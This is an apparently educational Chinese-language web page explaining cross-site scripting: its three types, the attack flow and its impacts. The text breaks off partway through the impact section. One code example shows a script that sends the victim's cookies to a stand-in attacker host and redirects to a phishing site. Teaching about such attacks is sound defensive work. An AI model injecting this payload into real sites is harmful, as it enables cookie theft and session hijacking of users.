<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>XSS跨站脚本攻击深度解析</title>
    <link rel="stylesheet" href="https://cdn.staticfile.org/font-awesome/6.4.0/css/all.min.css">
    <link rel="stylesheet" href="https://cdn.staticfile.org/tailwindcss/2.2.19/tailwind.min.css">
    <link href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@400;500;600;700&family=Noto+Sans+SC:wght@300;400;500;700&display=swap" rel="stylesheet">
    <script src="https://cdn.jsdelivr.net/npm/mermaid@latest/dist/mermaid.min.js"></script>
    <style>
        body {
            font-family: 'Noto Sans SC', Tahoma, Arial, Roboto, "Droid Sans", "Helvetica Neue", "Droid Sans Fallback", "Heiti SC", "Hiragino Sans GB", Simsun, sans-serif;
        }
        .serif-font {
            font-family: 'Noto Serif SC', serif;
        }
        .gradient-text {
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
            background-clip: text;
        }
        .hero-gradient {
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
        }
        .card-hover {
            transition: all 0.3s ease;
        }
        .card-hover:hover {
            transform: translateY(-5px);
            box-shadow: 0 20px 40px rgba(0,0,0,0.1);
        }
        .drop-cap::first-letter {
            float: left;
            font-size: 4rem;
            line-height: 3rem;
            padding-right: 0.5rem;
            margin-top: 0.5rem;
            font-weight: 700;
            color: #667eea;
        }
        .code-block {
            background: #1e293b;
            color: #e2e8f0;
            border-radius: 0.5rem;
            padding: 1.5rem;
            overflow-x: auto;
            font-family: 'Consolas', 'Monaco', monospace;
        }
        .section-divider {
            height: 2px;
            background: linear-gradient(to right, transparent, #e5e7eb, transparent);
            margin: 3rem 0;
        }
        @keyframes fadeInUp {
            from {
                opacity: 0;
                transform: translateY(30px);
            }
            to {
                opacity: 1;
                transform: translateY(0);
            }
        }
        .animate-fadeInUp {
            animation: fadeInUp 0.8s ease-out;
        }
        .mermaid {
            display: flex;
            justify-content: center;
            margin: 2rem 0;
        }
    </style>
</head>
<body class="bg-gray-50">
    <!-- Hero Section -->
    <section class="hero-gradient text-white py-20 px-6">
        <div class="max-w-6xl mx-auto animate-fadeInUp">
            <div class="text-center">
                <h1 class="text-5xl md:text-6xl font-bold mb-6 serif-font">XSS跨站脚本攻击</h1>
                <p class="text-xl md:text-2xl mb-8 opacity-90">深度解析Web安全中的隐形威胁</p>
                <div class="flex justify-center space-x-6 text-lg">
                    <span><i class="fas fa-shield-alt mr-2"></i>安全防护</span>
                    <span><i class="fas fa-code mr-2"></i>代码审计</span>
                    <span><i class="fas fa-lock mr-2"></i>最佳实践</span>
                </div>
            </div>
        </div>
    </section>

    <!-- Main Content -->
    <main class="max-w-6xl mx-auto px-6 py-12">
        <!-- Introduction -->
        <section class="mb-16 animate-fadeInUp">
            <div class="bg-white rounded-2xl shadow-lg p-8 card-hover">
                <p class="text-lg leading-relaxed text-gray-700 drop-cap">
                    当谈到XSS（Cross-Site Scripting）跨站脚本注入问题时，我们正在面对Web安全领域最普遍且危险的威胁之一。这种攻击方式巧妙地利用了Web应用程序对用户输入处理的疏忽，将恶意代码注入到看似无害的网页中，从而在毫无防备的用户浏览器中执行攻击者的恶意意图。
                </p>
            </div>
        </section>

        <!-- XSS Definition and Classification -->
        <section class="mb-16">
            <h2 class="text-3xl font-bold mb-8 text-gray-800 flex items-center">
                <i class="fas fa-book-open mr-4 text-purple-600"></i>
                <span class="gradient-text">XSS的定义与分类</span>
            </h2>
            
            <div class="grid md:grid-cols-3 gap-6 mb-12">
                <div class="bg-white rounded-xl shadow-md p-6 card-hover border-t-4 border-purple-500">
                    <div class="text-center mb-4">
                        <i class="fas fa-database text-4xl text-purple-500"></i>
                    </div>
                    <h3 class="text-xl font-bold mb-3 text-gray-800">存储型XSS</h3>
                    <p class="text-gray-600">恶意脚本被永久存储在目标服务器上，如数据库、消息论坛、访客留言等。当用户请求存储的信息时，恶意脚本从服务器传回并在浏览器中执行。</p>
                </div>
                
                <div class="bg-white rounded-xl shadow-md p-6 card-hover border-t-4 border-indigo-500">
                    <div class="text-center mb-4">
                        <i class="fas fa-reply text-4xl text-indigo-500"></i>
                    </div>
                    <h3 class="text-xl font-bold mb-3 text-gray-800">反射型XSS</h3>
                    <p class="text-gray-600">恶意脚本作为请求的一部分发送到服务器，服务器将其"反射"回用户。通常通过恶意链接诱导用户点击，脚本在用户浏览器中立即执行。</p>
                </div>
                
                <div class="bg-white rounded-xl shadow-md p-6 card-hover border-t-4 border-pink-500">
                    <div class="text-center mb-4">
                        <i class="fas fa-code text-4xl text-pink-500"></i>
                    </div>
                    <h3 class="text-xl font-bold mb-3 text-gray-800">DOM型XSS</h3>
                    <p class="text-gray-600">完全发生在客户端，通过修改DOM环境使恶意脚本被执行。攻击载荷不会发送到服务器，而是在浏览器端通过JavaScript处理不当的数据而触发。</p>
                </div>
            </div>

            <!-- Mermaid Diagram -->
            <div class="bg-gray-100 rounded-xl p-6">
                <h4 class="text-lg font-semibold mb-4 text-center text-gray-700">XSS攻击类型关系图</h4>
                <div class="mermaid">
                    graph TD
                        A[XSS攻击] --> B[存储型XSS]
                        A --> C[反射型XSS]
                        A --> D[DOM型XSS]
                        B --> E[持久化存储]
                        B --> F[影响所有用户]
                        C --> G[URL参数注入]
                        C --> H[即时响应]
                        D --> I[客户端执行]
                        D --> J[不经过服务器]
                        
                        style A fill:#667eea,stroke:#fff,stroke-width:2px,color:#fff
                        style B fill:#ec4899,stroke:#fff,stroke-width:2px,color:#fff
                        style C fill:#3b82f6,stroke:#fff,stroke-width:2px,color:#fff
                        style D fill:#10b981,stroke:#fff,stroke-width:2px,color:#fff
                </div>
            </div>
        </section>

        <div class="section-divider"></div>

        <!-- Attack Principle -->
        <section class="mb-16">
            <h2 class="text-3xl font-bold mb-8 text-gray-800 flex items-center">
                <i class="fas fa-cogs mr-4 text-purple-600"></i>
                <span class="gradient-text">XSS攻击的原理</span>
            </h2>

            <div class="bg-white rounded-2xl shadow-lg p-8 mb-8">
                <h3 class="text-2xl font-semibold mb-6 text-gray-800">攻击流程解析</h3>
                
                <div class="space-y-6">
                    <div class="flex items-start">
                        <div class="flex-shrink-0 w-12 h-12 bg-purple-100 rounded-full flex items-center justify-center mr-4">
                            <span class="text-purple-600 font-bold">1</span>
                        </div>
                        <div>
                            <h4 class="font-semibold text-lg mb-2">恶意代码注入</h4>
                            <p class="text-gray-600">攻击者通过各种输入点（表单、URL参数、Cookie等）将恶意JavaScript代码注入到Web应用中。</p>
                        </div>
                    </div>

                    <div class="flex items-start">
                        <div class="flex-shrink-0 w-12 h-12 bg-purple-100 rounded-full flex items-center justify-center mr-4">
                            <span class="text-purple-600 font-bold">2</span>
                        </div>
                        <div>
                            <h4 class="font-semibold text-lg mb-2">数据存储或传递</h4>
                            <p class="text-gray-600">恶意代码通过不同方式传播：存储在数据库中、作为URL参数传递，或直接在DOM中操作。</p>
                        </div>
                    </div>

                    <div class="flex items-start">
                        <div class="flex-shrink-0 w-12 h-12 bg-purple-100 rounded-full flex items-center justify-center mr-4">
                            <span class="text-purple-600 font-bold">3</span>
                        </div>
                        <div>
                            <h4 class="font-semibold text-lg mb-2">浏览器执行</h4>
                            <p class="text-gray-600">当受害者访问包含恶意代码的页面时，浏览器将其作为合法代码执行，实现攻击目的。</p>
                        </div>
                    </div>
                </div>
            </div>

            <!-- Code Example -->
            <div class="bg-gray-900 rounded-xl overflow-hidden shadow-xl">
                <div class="bg-gray-800 px-6 py-3 flex items-center justify-between">
                    <span class="text-gray-300 font-semibold">示例：典型的XSS攻击代码</span>
                    <i class="fas fa-code text-gray-400"></i>
                </div>
                <div class="code-block">
                    <pre><code>&lt;script&gt;
    // 窃取用户Cookie
    var img = new Image();
    img.src = "http://attacker.com/steal?cookie=" + document.cookie;
    
    // 或者重定向到钓鱼网站
    window.location = "http://phishing-site.com";
&lt;/script&gt;</code></pre>
                </div>
            </div>
        </section>

        <div class="section-divider"></div>

        <!-- Impact Analysis -->
        <section class="mb-16">
            <h2 class="text-3xl font-bold mb-8 text-gray-800 flex items-center">
                <i class="fas fa-exclamation-triangle mr-4 text-red-600"></i>
                <span class="gradient-text">XSS攻击的影响</span>
            </h2>

            <div class="grid md:grid-cols-2 gap-6">
                <div class="bg-red-50 border-l-4 border-red-500 p-6 rounded-lg">
                    <h3 class="text-xl font-semibold mb-3 text-red-800">
                        <i class="fas fa-user-secret mr-2"></i>窃取敏感信息
                    </h3>
                    <p class="text-gray-700">攻击者可以获取用户的登录凭证、Session ID、个人隐私数据等敏感信息，进而冒充用户身份进行恶意操作。</p>
                </div>

                <div class="bg-orange-50 border-l-4 border-orange-500 p-6 rounded-lg">
                    <h3 class="text-xl font-semibold mb-3 text-orange-800">
                        <i class="fas fa-link mr-2"></i>会话劫持
                    </h3>
                    <p class="text-gray-700">通过窃取会话标识符，攻击者可以劫持用户的登录会话，获得与受害者相同的访问权限。</p>
                </div>

                <div class="bg-yellow-50 border-l-4 border-yellow-500 p-6 rounded-lg">
                    <h3 class="text-xl font-semibold mb-3 text-yellow-800">
                        <i class="fas fa-edit mr-2"></i>篡改网页内容
                    </h3>
                    <p class="text-gray-700">恶意脚本可以修改页面DOM结构，插入虚假信息、钓鱼表单或恶意链接，误导用户。</p>
                </div>

                <div class="bg-purple-50 border-l-4 border-purple-500